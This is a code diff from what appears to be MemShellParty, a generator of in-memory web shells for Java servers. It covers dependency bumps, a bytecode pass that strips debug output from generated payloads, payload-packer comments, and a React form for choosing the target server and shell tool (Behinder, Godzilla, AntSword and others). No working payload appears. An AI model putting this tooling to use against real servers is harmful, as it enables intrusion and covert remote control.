throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -10,12 +10,12 @@ reactor-netty = "1.1.25"
|
|||||||
jackson = "2.19.0"
|
jackson = "2.19.0"
|
||||||
jetbrains-annotations = "26.0.2"
|
jetbrains-annotations = "26.0.2"
|
||||||
|
|
||||||
byte-buddy = "1.18.1"
|
byte-buddy = "1.18.2"
|
||||||
commons-io = "2.21.0"
|
commons-io = "2.21.0"
|
||||||
commons-lang3 = "3.19.0"
|
commons-lang3 = "3.20.0"
|
||||||
commons-codec = "1.20.0"
|
commons-codec = "1.20.0"
|
||||||
logback = "1.5.21"
|
logback = "1.5.22"
|
||||||
okhttp3 = "5.3.0"
|
okhttp3 = "5.3.2"
|
||||||
fastjson2 = "2.0.60"
|
fastjson2 = "2.0.60"
|
||||||
java-websocket = "1.6.0"
|
java-websocket = "1.6.0"
|
||||||
|
|
||||||
@@ -45,6 +45,7 @@ java-websocket = { module = "org.java-websocket:Java-WebSocket", version.ref = "
|
|||||||
okhttp3 = { module = "com.squareup.okhttp3:okhttp", version.ref = "okhttp3" }
|
okhttp3 = { module = "com.squareup.okhttp3:okhttp", version.ref = "okhttp3" }
|
||||||
fastjson2 = { module = "com.alibaba.fastjson2:fastjson2", version.ref = "fastjson2" }
|
fastjson2 = { module = "com.alibaba.fastjson2:fastjson2", version.ref = "fastjson2" }
|
||||||
jackson-databind = { module = "com.fasterxml.jackson.core:jackson-databind", version.ref = "jackson" }
|
jackson-databind = { module = "com.fasterxml.jackson.core:jackson-databind", version.ref = "jackson" }
|
||||||
|
jackson-annotations = { module = "com.fasterxml.jackson.core:jackson-annotations", version.ref = "jackson" }
|
||||||
jetbrains-annotations = { module = "org.jetbrains:annotations", version.ref = "jetbrains-annotations" }
|
jetbrains-annotations = { module = "org.jetbrains:annotations", version.ref = "jetbrains-annotations" }
|
||||||
mockito-core = { module = "org.mockito:mockito-core", version.ref = "mockito" }
|
mockito-core = { module = "org.mockito:mockito-core", version.ref = "mockito" }
|
||||||
mockito-junit-jupiter = { module = "org.mockito:mockito-junit-jupiter", version.ref = "mockito" }
|
mockito-junit-jupiter = { module = "org.mockito:mockito-junit-jupiter", version.ref = "mockito" }
|
||||||
|
|||||||
+2
-2
@@ -18,7 +18,6 @@ import static net.bytebuddy.jar.asm.Opcodes.POP;
|
|||||||
/**
|
/**
|
||||||
* Debug 信息打印移除器
|
* Debug 信息打印移除器
|
||||||
* 目前仅支持移除以下几种
|
* 目前仅支持移除以下几种
|
||||||
* <br />
|
|
||||||
* 1. System.out.println() - (printf 还不支持)
|
* 1. System.out.println() - (printf 还不支持)
|
||||||
* 2. e.printStackTrace()
|
* 2. e.printStackTrace()
|
||||||
* 3. Logger.info (java.util)
|
* 3. Logger.info (java.util)
|
||||||
@@ -47,7 +46,8 @@ public class LogRemoveMethodVisitor implements AsmVisitorWrapper.ForDeclaredMeth
|
|||||||
@Override
|
@Override
|
||||||
public void visitMethodInsn(int opcode, String owner, String name, String descriptor, boolean isInterface) {
|
public void visitMethodInsn(int opcode, String owner, String name, String descriptor, boolean isInterface) {
|
||||||
if ((opcode == INVOKEVIRTUAL && owner.equals("java/io/PrintStream") && name.equals("println"))
|
if ((opcode == INVOKEVIRTUAL && owner.equals("java/io/PrintStream") && name.equals("println"))
|
||||||
|| (opcode == INVOKEVIRTUAL && owner.endsWith("Exception") && name.equals("printStackTrace"))
|
|| (opcode == INVOKEVIRTUAL && owner.endsWith("Exception") && name.equals("printStackTrace") && descriptor.equals("()V"))
|
||||||
|
|| (opcode == INVOKEVIRTUAL && owner.equals("java/lang/Throwable") && name.equals("printStackTrace") && descriptor.equals("()V"))
|
||||||
|| (opcode == INVOKEVIRTUAL && owner.equals("java/util/logging/Logger") && (name.equals("info") || name.equals("warning")))
|
|| (opcode == INVOKEVIRTUAL && owner.equals("java/util/logging/Logger") && (name.equals("info") || name.equals("warning")))
|
||||||
) {
|
) {
|
||||||
String[] args = descriptor.substring(1, descriptor.indexOf(')')).split(";");
|
String[] args = descriptor.substring(1, descriptor.indexOf(')')).split(";");
|
||||||
|
|||||||
@@ -16,7 +16,7 @@ public interface AggregatePacker extends Packer {
|
|||||||
* 聚合打包当前所有分类下的 payload
|
* 聚合打包当前所有分类下的 payload
|
||||||
*
|
*
|
||||||
* @param config 生成结果
|
* @param config 生成结果
|
||||||
* @return key -> 打包名称,value -> 打包 payload
|
* @return key - 打包名称,value - 打包 payload
|
||||||
*/
|
*/
|
||||||
default Map<String, String> packAll(ClassPackerConfig config) {
|
default Map<String, String> packAll(ClassPackerConfig config) {
|
||||||
return Packers.getPackersWithParent(this.getClass()).stream().collect(Collectors.toMap(
|
return Packers.getPackersWithParent(this.getClass()).stream().collect(Collectors.toMap(
|
||||||
|
|||||||
@@ -8,7 +8,7 @@ import com.reajason.javaweb.packer.Packers;
|
|||||||
/**
|
/**
|
||||||
*
|
*
|
||||||
* @since 5.2.24,SpEL 限制了长度为 10000,常规的 Base64 编码已经不适用,需要进一步使用 GZIP 压缩
|
* @since 5.2.24,SpEL 限制了长度为 10000,常规的 Base64 编码已经不适用,需要进一步使用 GZIP 压缩
|
||||||
* <a href="https://github.com/spring-projects/spring-framework/blob/2ed1b6e6dda48ff0c74b67b39cba65676b5397b6/spring-expression/src/main/java/org/springframework/expression/spel/standard/InternalSpelExpressionParser.java#L100">InternalSpelExpressionParser.java</>
|
* https://github.com/spring-projects/spring-framework/blob/2ed1b6e6dda48ff0c74b67b39cba65676b5397b6/spring-expression/src/main/java/org/springframework/expression/spel/standard/InternalSpelExpressionParser.java#L100
|
||||||
*
|
*
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/13
|
* @since 2024/12/13
|
||||||
|
|||||||
@@ -0,0 +1,77 @@
|
|||||||
|
[data-rmiz] {
|
||||||
|
display: block;
|
||||||
|
position: relative;
|
||||||
|
}
|
||||||
|
|
||||||
|
[data-rmiz-ghost] {
|
||||||
|
pointer-events: none;
|
||||||
|
position: absolute;
|
||||||
|
}
|
||||||
|
|
||||||
|
[data-rmiz-btn-zoom],
|
||||||
|
[data-rmiz-btn-unzoom] {
|
||||||
|
display: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
[data-rmiz-content="found"] img {
|
||||||
|
cursor: zoom-in;
|
||||||
|
}
|
||||||
|
|
||||||
|
[data-rmiz-modal][open] {
|
||||||
|
width: 100vw /* fallback */;
|
||||||
|
width: 100dvw;
|
||||||
|
|
||||||
|
height: 100vh /* fallback */;
|
||||||
|
height: 100dvh;
|
||||||
|
|
||||||
|
background-color: transparent;
|
||||||
|
max-width: none;
|
||||||
|
max-height: none;
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
position: fixed;
|
||||||
|
overflow: hidden;
|
||||||
|
}
|
||||||
|
|
||||||
|
[data-rmiz-modal]:focus-visible {
|
||||||
|
outline: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
[data-rmiz-modal-overlay] {
|
||||||
|
transition: background-color 0.3s;
|
||||||
|
position: absolute;
|
||||||
|
inset: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
[data-rmiz-modal-overlay="visible"] {
|
||||||
|
background-color: var(--color-fd-background);
|
||||||
|
}
|
||||||
|
|
||||||
|
[data-rmiz-modal-overlay="hidden"] {
|
||||||
|
background-color: transparent;
|
||||||
|
}
|
||||||
|
|
||||||
|
[data-rmiz-modal-content] {
|
||||||
|
width: 100%;
|
||||||
|
height: 100%;
|
||||||
|
position: relative;
|
||||||
|
}
|
||||||
|
|
||||||
|
[data-rmiz-modal]::backdrop {
|
||||||
|
display: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
[data-rmiz-modal-img] {
|
||||||
|
cursor: zoom-out;
|
||||||
|
image-rendering: high-quality;
|
||||||
|
transform-origin: 0 0;
|
||||||
|
transition: transform 0.3s;
|
||||||
|
position: absolute;
|
||||||
|
}
|
||||||
|
|
||||||
|
@media (prefers-reduced-motion: reduce) {
|
||||||
|
[data-rmiz-modal-overlay],
|
||||||
|
[data-rmiz-modal-img] {
|
||||||
|
transition-duration: 0.01ms !important;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,58 @@
|
|||||||
|
"use client";
|
||||||
|
|
||||||
|
import { Image, type ImageProps } from "fumadocs-core/framework";
|
||||||
|
import type { ComponentProps } from "react";
|
||||||
|
import Zoom, { type UncontrolledProps } from "react-medium-image-zoom";
|
||||||
|
import "@/components/image-zoom.css";
|
||||||
|
|
||||||
|
export type ImageZoomProps = ImageProps & {
|
||||||
|
/**
|
||||||
|
* Image props when zoom in
|
||||||
|
*/
|
||||||
|
zoomInProps?: ComponentProps<"img">;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Props for `react-medium-image-zoom`
|
||||||
|
*/
|
||||||
|
rmiz?: UncontrolledProps;
|
||||||
|
};
|
||||||
|
|
||||||
|
function getImageSrc(src: ImageProps["src"]): string {
|
||||||
|
if (typeof src === "string") return src;
|
||||||
|
|
||||||
|
if (typeof src === "object") {
|
||||||
|
// Next.js
|
||||||
|
if ("default" in src)
|
||||||
|
return (src as { default: { src: string } }).default.src;
|
||||||
|
return src.src;
|
||||||
|
}
|
||||||
|
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
export function ImageZoom({
|
||||||
|
zoomInProps,
|
||||||
|
children,
|
||||||
|
rmiz,
|
||||||
|
...props
|
||||||
|
}: ImageZoomProps) {
|
||||||
|
return (
|
||||||
|
<Zoom
|
||||||
|
zoomMargin={20}
|
||||||
|
wrapElement="span"
|
||||||
|
{...rmiz}
|
||||||
|
zoomImg={{
|
||||||
|
src: getImageSrc(props.src),
|
||||||
|
sizes: undefined,
|
||||||
|
...zoomInProps,
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
{children ?? (
|
||||||
|
<Image
|
||||||
|
sizes="(max-width: 768px) 100vw, (max-width: 1200px) 70vw, 900px"
|
||||||
|
{...props}
|
||||||
|
/>
|
||||||
|
)}
|
||||||
|
</Zoom>
|
||||||
|
);
|
||||||
|
}
|
||||||
@@ -1,59 +0,0 @@
|
|||||||
import { Slot } from "@radix-ui/react-slot";
|
|
||||||
import { cva, type VariantProps } from "class-variance-authority";
|
|
||||||
import React from "react";
|
|
||||||
import { cn } from "@/lib/utils";
|
|
||||||
|
|
||||||
const rainbowButtonVariants = cva(
|
|
||||||
cn(
|
|
||||||
"relative cursor-pointer group transition-all animate-rainbow",
|
|
||||||
"inline-flex items-center justify-center gap-2 shrink-0",
|
|
||||||
"rounded-sm outline-none focus-visible:ring-[3px] aria-invalid:border-destructive",
|
|
||||||
"text-sm font-medium whitespace-nowrap",
|
|
||||||
"disabled:pointer-events-none disabled:opacity-50",
|
|
||||||
"[&_svg]:pointer-events-none [&_svg:not([class*='size-'])]:size-4 [&_svg]:shrink-0",
|
|
||||||
),
|
|
||||||
{
|
|
||||||
variants: {
|
|
||||||
variant: {
|
|
||||||
default:
|
|
||||||
"border-0 bg-[linear-gradient(#121213,#121213),linear-gradient(#121213_50%,rgba(18,18,19,0.6)_80%,rgba(18,18,19,0)),linear-gradient(90deg,var(--color-1),var(--color-5),var(--color-3),var(--color-4),var(--color-2))] bg-[length:200%] text-primary-foreground [background-clip:padding-box,border-box,border-box] [background-origin:border-box] [border:calc(0.125rem)_solid_transparent] before:absolute before:bottom-[-20%] before:left-1/2 before:z-0 before:h-1/5 before:w-3/5 before:-translate-x-1/2 before:animate-rainbow before:bg-[linear-gradient(90deg,var(--color-1),var(--color-5),var(--color-3),var(--color-4),var(--color-2))] before:[filter:blur(0.75rem)] dark:bg-[linear-gradient(#fff,#fff),linear-gradient(#fff_50%,rgba(255,255,255,0.6)_80%,rgba(0,0,0,0)),linear-gradient(90deg,var(--color-1),var(--color-5),var(--color-3),var(--color-4),var(--color-2))]",
|
|
||||||
outline:
|
|
||||||
"border border-input border-b-transparent bg-[linear-gradient(#ffffff,#ffffff),linear-gradient(#ffffff_50%,rgba(18,18,19,0.6)_80%,rgba(18,18,19,0)),linear-gradient(90deg,var(--color-1),var(--color-5),var(--color-3),var(--color-4),var(--color-2))] bg-[length:200%] text-accent-foreground [background-clip:padding-box,border-box,border-box] [background-origin:border-box] before:absolute before:bottom-[-20%] before:left-1/2 before:z-0 before:h-1/5 before:w-3/5 before:-translate-x-1/2 before:animate-rainbow before:bg-[linear-gradient(90deg,var(--color-1),var(--color-5),var(--color-3),var(--color-4),var(--color-2))] before:[filter:blur(0.75rem)] dark:bg-[linear-gradient(#0a0a0a,#0a0a0a),linear-gradient(#0a0a0a_50%,rgba(255,255,255,0.6)_80%,rgba(0,0,0,0)),linear-gradient(90deg,var(--color-1),var(--color-5),var(--color-3),var(--color-4),var(--color-2))]",
|
|
||||||
},
|
|
||||||
size: {
|
|
||||||
default: "h-9 px-4 py-2",
|
|
||||||
sm: "h-8 rounded-xl px-3 text-xs",
|
|
||||||
lg: "h-11 rounded-xl px-8",
|
|
||||||
icon: "size-9",
|
|
||||||
},
|
|
||||||
},
|
|
||||||
defaultVariants: {
|
|
||||||
variant: "default",
|
|
||||||
size: "default",
|
|
||||||
},
|
|
||||||
},
|
|
||||||
);
|
|
||||||
|
|
||||||
interface RainbowButtonProps
|
|
||||||
extends React.ButtonHTMLAttributes<HTMLButtonElement>,
|
|
||||||
VariantProps<typeof rainbowButtonVariants> {
|
|
||||||
asChild?: boolean;
|
|
||||||
}
|
|
||||||
|
|
||||||
const RainbowButton = React.forwardRef<HTMLButtonElement, RainbowButtonProps>(
|
|
||||||
({ className, variant, size, asChild = false, ...props }, ref) => {
|
|
||||||
const Comp = asChild ? Slot : "button";
|
|
||||||
return (
|
|
||||||
<Comp
|
|
||||||
data-slot="button"
|
|
||||||
className={cn(rainbowButtonVariants({ variant, size, className }))}
|
|
||||||
ref={ref}
|
|
||||||
{...props}
|
|
||||||
/>
|
|
||||||
);
|
|
||||||
},
|
|
||||||
);
|
|
||||||
|
|
||||||
RainbowButton.displayName = "RainbowButton";
|
|
||||||
|
|
||||||
export { RainbowButton, rainbowButtonVariants, type RainbowButtonProps };
|
|
||||||
@@ -2,6 +2,7 @@ import {
|
|||||||
ArrowUpRightIcon,
|
ArrowUpRightIcon,
|
||||||
AxeIcon,
|
AxeIcon,
|
||||||
CommandIcon,
|
CommandIcon,
|
||||||
|
InfoIcon,
|
||||||
NetworkIcon,
|
NetworkIcon,
|
||||||
ServerIcon,
|
ServerIcon,
|
||||||
ShieldOffIcon,
|
ShieldOffIcon,
|
||||||
@@ -9,8 +10,8 @@ import {
|
|||||||
WaypointsIcon,
|
WaypointsIcon,
|
||||||
ZapIcon,
|
ZapIcon,
|
||||||
} from "lucide-react";
|
} from "lucide-react";
|
||||||
import { type JSX, useCallback, useEffect, useState } from "react";
|
import { type JSX, useCallback, useRef, useState } from "react";
|
||||||
import { FormProvider, type UseFormReturn } from "react-hook-form";
|
import { Controller, type UseFormReturn, useWatch } from "react-hook-form";
|
||||||
import { useTranslation } from "react-i18next";
|
import { useTranslation } from "react-i18next";
|
||||||
import { AntSwordTabContent } from "@/components/memshell/tabs/antsword-tab";
|
import { AntSwordTabContent } from "@/components/memshell/tabs/antsword-tab";
|
||||||
import { BehinderTabContent } from "@/components/memshell/tabs/behinder-tab";
|
import { BehinderTabContent } from "@/components/memshell/tabs/behinder-tab";
|
||||||
@@ -21,15 +22,12 @@ import { NeoRegTabContent } from "@/components/memshell/tabs/neoreg-tab";
|
|||||||
import { Suo5TabContent } from "@/components/memshell/tabs/suo5-tab";
|
import { Suo5TabContent } from "@/components/memshell/tabs/suo5-tab";
|
||||||
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
|
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
|
||||||
import {
|
import {
|
||||||
FormControl,
|
Field,
|
||||||
FormDescription,
|
FieldContent,
|
||||||
FormField,
|
FieldDescription,
|
||||||
FormFieldItem,
|
FieldError,
|
||||||
FormFieldLabel,
|
FieldLabel,
|
||||||
FormItem,
|
} from "@/components/ui/field";
|
||||||
FormLabel,
|
|
||||||
FormMessage,
|
|
||||||
} from "@/components/ui/form";
|
|
||||||
import { Label } from "@/components/ui/label";
|
import { Label } from "@/components/ui/label";
|
||||||
import {
|
import {
|
||||||
Select,
|
Select,
|
||||||
@@ -40,12 +38,18 @@ import {
|
|||||||
} from "@/components/ui/select";
|
} from "@/components/ui/select";
|
||||||
import { Switch } from "@/components/ui/switch";
|
import { Switch } from "@/components/ui/switch";
|
||||||
import { Tabs } from "@/components/ui/tabs";
|
import { Tabs } from "@/components/ui/tabs";
|
||||||
|
import {
|
||||||
|
Tooltip,
|
||||||
|
TooltipContent,
|
||||||
|
TooltipTrigger,
|
||||||
|
} from "@/components/ui/tooltip";
|
||||||
import {
|
import {
|
||||||
type MainConfig,
|
type MainConfig,
|
||||||
type ServerConfig,
|
type ServerConfig,
|
||||||
ShellToolType,
|
ShellToolType,
|
||||||
} from "@/types/memshell";
|
} from "@/types/memshell";
|
||||||
import type { MemShellFormSchema } from "@/types/schema.ts";
|
import type { MemShellFormSchema } from "@/types/schema";
|
||||||
|
import { Spinner } from "../ui/spinner";
|
||||||
|
|
||||||
const shellToolIcons: Record<ShellToolType, JSX.Element> = {
|
const shellToolIcons: Record<ShellToolType, JSX.Element> = {
|
||||||
[ShellToolType.Behinder]: <ShieldOffIcon className="h-4 w-4" />,
|
[ShellToolType.Behinder]: <ShieldOffIcon className="h-4 w-4" />,
|
||||||
@@ -61,7 +65,7 @@ const shellToolIcons: Record<ShellToolType, JSX.Element> = {
|
|||||||
const defaultServerVersionOptions = [
|
const defaultServerVersionOptions = [
|
||||||
{
|
{
|
||||||
name: "Unknown",
|
name: "Unknown",
|
||||||
value: "unknown",
|
value: "Unknown",
|
||||||
},
|
},
|
||||||
];
|
];
|
||||||
|
|
||||||
@@ -74,32 +78,21 @@ export default function MainConfigCard({
|
|||||||
form: UseFormReturn<MemShellFormSchema>;
|
form: UseFormReturn<MemShellFormSchema>;
|
||||||
servers?: ServerConfig;
|
servers?: ServerConfig;
|
||||||
}>) {
|
}>) {
|
||||||
|
const { t } = useTranslation(["common", "memshell"]);
|
||||||
|
|
||||||
const [shellToolMap, setShellToolMap] = useState<{
|
const [shellToolMap, setShellToolMap] = useState<{
|
||||||
[toolName: string]: string[];
|
[toolName: string]: string[];
|
||||||
}>();
|
}>();
|
||||||
const [shellTools, setShellTools] = useState<ShellToolType[]>([
|
const [shellTools, setShellTools] = useState<ShellToolType[]>([]);
|
||||||
ShellToolType.Godzilla,
|
|
||||||
ShellToolType.Behinder,
|
|
||||||
ShellToolType.AntSword,
|
|
||||||
ShellToolType.Command,
|
|
||||||
ShellToolType.Suo5,
|
|
||||||
ShellToolType.NeoreGeorg,
|
|
||||||
ShellToolType.Custom,
|
|
||||||
]);
|
|
||||||
const [shellTypes, setShellTypes] = useState<string[]>([]);
|
const [shellTypes, setShellTypes] = useState<string[]>([]);
|
||||||
const shellTool = form.watch("shellTool");
|
|
||||||
const { t } = useTranslation(["common", "memshell"]);
|
|
||||||
|
|
||||||
const [serverVersionOptions, setServerVersionOptions] = useState(
|
const [serverVersionOptions, setServerVersionOptions] = useState(
|
||||||
defaultServerVersionOptions,
|
defaultServerVersionOptions,
|
||||||
);
|
);
|
||||||
|
|
||||||
// 处理一下 shellTypes 由于 server 或 shellTool 变更时无法正常为 form.shellType 赋值的问题
|
const shellTool = useWatch({
|
||||||
useEffect(() => {
|
control: form.control,
|
||||||
if (shellTypes.length > 0) {
|
name: "shellTool",
|
||||||
form.setValue("shellType", shellTypes[0]);
|
});
|
||||||
}
|
|
||||||
}, [shellTypes, form]);
|
|
||||||
|
|
||||||
const handleServerChange = useCallback(
|
const handleServerChange = useCallback(
|
||||||
(value: string) => {
|
(value: string) => {
|
||||||
@@ -126,7 +119,10 @@ export default function MainConfigCard({
|
|||||||
}
|
}
|
||||||
setShellTypes(currentShellTypes);
|
setShellTypes(currentShellTypes);
|
||||||
|
|
||||||
// 特殊环境的 JDK 版本
|
if (currentShellTypes && currentShellTypes.length > 0) {
|
||||||
|
form.setValue("shellType", currentShellTypes[0]);
|
||||||
|
}
|
||||||
|
|
||||||
if (
|
if (
|
||||||
(value === "SpringWebFlux" || value === "XXLJOB") &&
|
(value === "SpringWebFlux" || value === "XXLJOB") &&
|
||||||
Number.parseInt(form.getValues("targetJdkVersion") as string, 10) < 52
|
Number.parseInt(form.getValues("targetJdkVersion") as string, 10) < 52
|
||||||
@@ -136,7 +132,6 @@ export default function MainConfigCard({
|
|||||||
form.setValue("targetJdkVersion", "50");
|
form.setValue("targetJdkVersion", "50");
|
||||||
}
|
}
|
||||||
|
|
||||||
// 特殊的服务需要指定版本
|
|
||||||
if (value === "TongWeb") {
|
if (value === "TongWeb") {
|
||||||
setServerVersionOptions([
|
setServerVersionOptions([
|
||||||
...defaultServerVersionOptions,
|
...defaultServerVersionOptions,
|
||||||
@@ -163,16 +158,6 @@ export default function MainConfigCard({
|
|||||||
[form, mainConfig],
|
[form, mainConfig],
|
||||||
);
|
);
|
||||||
|
|
||||||
// 处理一下默认值 server 不刷新 shellType 的问题
|
|
||||||
useEffect(() => {
|
|
||||||
if (mainConfig) {
|
|
||||||
const initialServer = form.getValues("server");
|
|
||||||
if (initialServer && mainConfig[initialServer]) {
|
|
||||||
handleServerChange(initialServer);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}, [mainConfig, form, handleServerChange]);
|
|
||||||
|
|
||||||
const handleShellToolChange = useCallback(
|
const handleShellToolChange = useCallback(
|
||||||
(value: string) => {
|
(value: string) => {
|
||||||
const resetCommand = () => {
|
const resetCommand = () => {
|
||||||
@@ -223,6 +208,11 @@ export default function MainConfigCard({
|
|||||||
}
|
}
|
||||||
setShellTypes(currentShellTypes);
|
setShellTypes(currentShellTypes);
|
||||||
|
|
||||||
|
// 直接设置 shellType 而不是依赖 useEffect
|
||||||
|
if (currentShellTypes && currentShellTypes.length > 0) {
|
||||||
|
form.setValue("shellType", currentShellTypes[0]);
|
||||||
|
}
|
||||||
|
|
||||||
form.resetField("urlPattern");
|
form.resetField("urlPattern");
|
||||||
form.resetField("shellClassName");
|
form.resetField("shellClassName");
|
||||||
form.resetField("injectorClassName");
|
form.resetField("injectorClassName");
|
||||||
@@ -247,8 +237,17 @@ export default function MainConfigCard({
|
|||||||
[form, servers, shellToolMap],
|
[form, servers, shellToolMap],
|
||||||
);
|
);
|
||||||
|
|
||||||
|
const initializedRef = useRef(false);
|
||||||
|
if (!initializedRef.current && mainConfig) {
|
||||||
|
const initialServer = form.getValues("server");
|
||||||
|
if (initialServer && mainConfig[initialServer]) {
|
||||||
|
handleServerChange(initialServer);
|
||||||
|
initializedRef.current = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<FormProvider {...form}>
|
<>
|
||||||
<Card>
|
<Card>
|
||||||
<CardHeader className="pb-1">
|
<CardHeader className="pb-1">
|
||||||
<CardTitle className="text-md flex items-center gap-2">
|
<CardTitle className="text-md flex items-center gap-2">
|
||||||
@@ -257,36 +256,48 @@ export default function MainConfigCard({
|
|||||||
</CardTitle>
|
</CardTitle>
|
||||||
</CardHeader>
|
</CardHeader>
|
||||||
<CardContent>
|
<CardContent>
|
||||||
|
{!mainConfig ? (
|
||||||
|
<div className="flex items-center justify-center p-4 gap-4 h-100">
|
||||||
|
<Spinner />
|
||||||
|
<span className="text-sm text-muted-foreground">
|
||||||
|
{t("loading")}
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
) : (
|
||||||
|
<div className="flex flex-col gap-2">
|
||||||
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
|
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
|
||||||
<FormField
|
<Controller
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="server"
|
name="server"
|
||||||
render={({ field }) => (
|
render={({ field }) => (
|
||||||
<FormFieldItem>
|
<Field>
|
||||||
<FormFieldLabel>{t("common:server")}</FormFieldLabel>
|
<FieldContent>
|
||||||
|
<FieldLabel htmlFor="server">
|
||||||
|
{t("common:server")}
|
||||||
|
</FieldLabel>
|
||||||
<Select
|
<Select
|
||||||
onValueChange={(v) => {
|
onValueChange={(v) => {
|
||||||
field.onChange(v);
|
field.onChange(v);
|
||||||
handleServerChange(v);
|
handleServerChange(v as string);
|
||||||
}}
|
}}
|
||||||
value={field.value}
|
value={field.value}
|
||||||
>
|
>
|
||||||
<FormControl>
|
<SelectTrigger id="server">
|
||||||
<SelectTrigger>
|
|
||||||
<SelectValue
|
<SelectValue
|
||||||
placeholder={t("common:placeholders.select")}
|
data-placeholder={t("common:placeholders.select")}
|
||||||
/>
|
/>
|
||||||
</SelectTrigger>
|
</SelectTrigger>
|
||||||
</FormControl>
|
|
||||||
<SelectContent>
|
<SelectContent>
|
||||||
{Object.keys(servers ?? {}).map((server: string) => (
|
{Object.keys(servers ?? {}).map(
|
||||||
|
(server: string) => (
|
||||||
<SelectItem key={server} value={server}>
|
<SelectItem key={server} value={server}>
|
||||||
{server}
|
{server}
|
||||||
</SelectItem>
|
</SelectItem>
|
||||||
))}
|
),
|
||||||
|
)}
|
||||||
</SelectContent>
|
</SelectContent>
|
||||||
</Select>
|
</Select>
|
||||||
<FormDescription className="flex items-center">
|
<FieldDescription className="flex items-center">
|
||||||
{t("memshell:tips.targetServerNotFound")}
|
{t("memshell:tips.targetServerNotFound")}
|
||||||
<a
|
<a
|
||||||
href="https://github.com/ReaJason/MemShellParty/issues/new?template=%E8%AF%B7%E6%B1%82%E9%80%82%E9%85%8D.md"
|
href="https://github.com/ReaJason/MemShellParty/issues/new?template=%E8%AF%B7%E6%B1%82%E9%80%82%E9%85%8D.md"
|
||||||
@@ -297,24 +308,35 @@ export default function MainConfigCard({
|
|||||||
{t("memshell:tips.targetServerRequest")}
|
{t("memshell:tips.targetServerRequest")}
|
||||||
<ArrowUpRightIcon className="h-4" />
|
<ArrowUpRightIcon className="h-4" />
|
||||||
</a>
|
</a>
|
||||||
</FormDescription>
|
</FieldDescription>
|
||||||
</FormFieldItem>
|
</FieldContent>
|
||||||
|
</Field>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
<FormField
|
<Controller
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="serverVersion"
|
name="serverVersion"
|
||||||
render={({ field }) => (
|
render={({ field, fieldState }) => (
|
||||||
<FormFieldItem>
|
<Field
|
||||||
<FormFieldLabel>{t("common:serverVersion")}</FormFieldLabel>
|
orientation="vertical"
|
||||||
<Select onValueChange={field.onChange} value={field.value}>
|
data-invalid={fieldState.invalid}
|
||||||
<FormControl>
|
>
|
||||||
<SelectTrigger>
|
<FieldContent>
|
||||||
|
<FieldLabel htmlFor="serverVersion">
|
||||||
|
{t("common:serverVersion")}
|
||||||
|
</FieldLabel>
|
||||||
|
<Select
|
||||||
|
onValueChange={field.onChange}
|
||||||
|
value={field.value}
|
||||||
|
>
|
||||||
|
<SelectTrigger
|
||||||
|
id="serverVersion"
|
||||||
|
aria-invalid={fieldState.invalid}
|
||||||
|
>
|
||||||
<SelectValue
|
<SelectValue
|
||||||
placeholder={t("common:placeholders.select")}
|
data-placeholder={t("common:placeholders.select")}
|
||||||
/>
|
/>
|
||||||
</SelectTrigger>
|
</SelectTrigger>
|
||||||
</FormControl>
|
|
||||||
<SelectContent>
|
<SelectContent>
|
||||||
{serverVersionOptions.map((v) => (
|
{serverVersionOptions.map((v) => (
|
||||||
<SelectItem key={v.value} value={v.value}>
|
<SelectItem key={v.value} value={v.value}>
|
||||||
@@ -323,27 +345,35 @@ export default function MainConfigCard({
|
|||||||
))}
|
))}
|
||||||
</SelectContent>
|
</SelectContent>
|
||||||
</Select>
|
</Select>
|
||||||
<FormMessage />
|
{fieldState.error && (
|
||||||
</FormFieldItem>
|
<FieldError errors={[fieldState.error]} />
|
||||||
|
)}
|
||||||
|
</FieldContent>
|
||||||
|
</Field>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
</div>
|
</div>
|
||||||
<div className="grid grid-cols-1">
|
<div className="grid grid-cols-1">
|
||||||
<FormField
|
<Controller
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="shellTool"
|
name="shellTool"
|
||||||
render={({ field }) => (
|
render={({ field }) => (
|
||||||
<FormFieldItem>
|
<Field>
|
||||||
<FormFieldLabel>{t("common:shellTool")}</FormFieldLabel>
|
<FieldContent>
|
||||||
|
<FieldLabel htmlFor="shellTool">
|
||||||
|
{t("common:shellTool")}
|
||||||
|
</FieldLabel>
|
||||||
<Select
|
<Select
|
||||||
value={field.value}
|
value={field.value}
|
||||||
onValueChange={(v) => handleShellToolChange(v)}
|
onValueChange={(v) =>
|
||||||
|
handleShellToolChange(v as string)
|
||||||
|
}
|
||||||
>
|
>
|
||||||
<FormControl>
|
<SelectTrigger id="shellTool">
|
||||||
<SelectTrigger>
|
<SelectValue
|
||||||
<SelectValue />
|
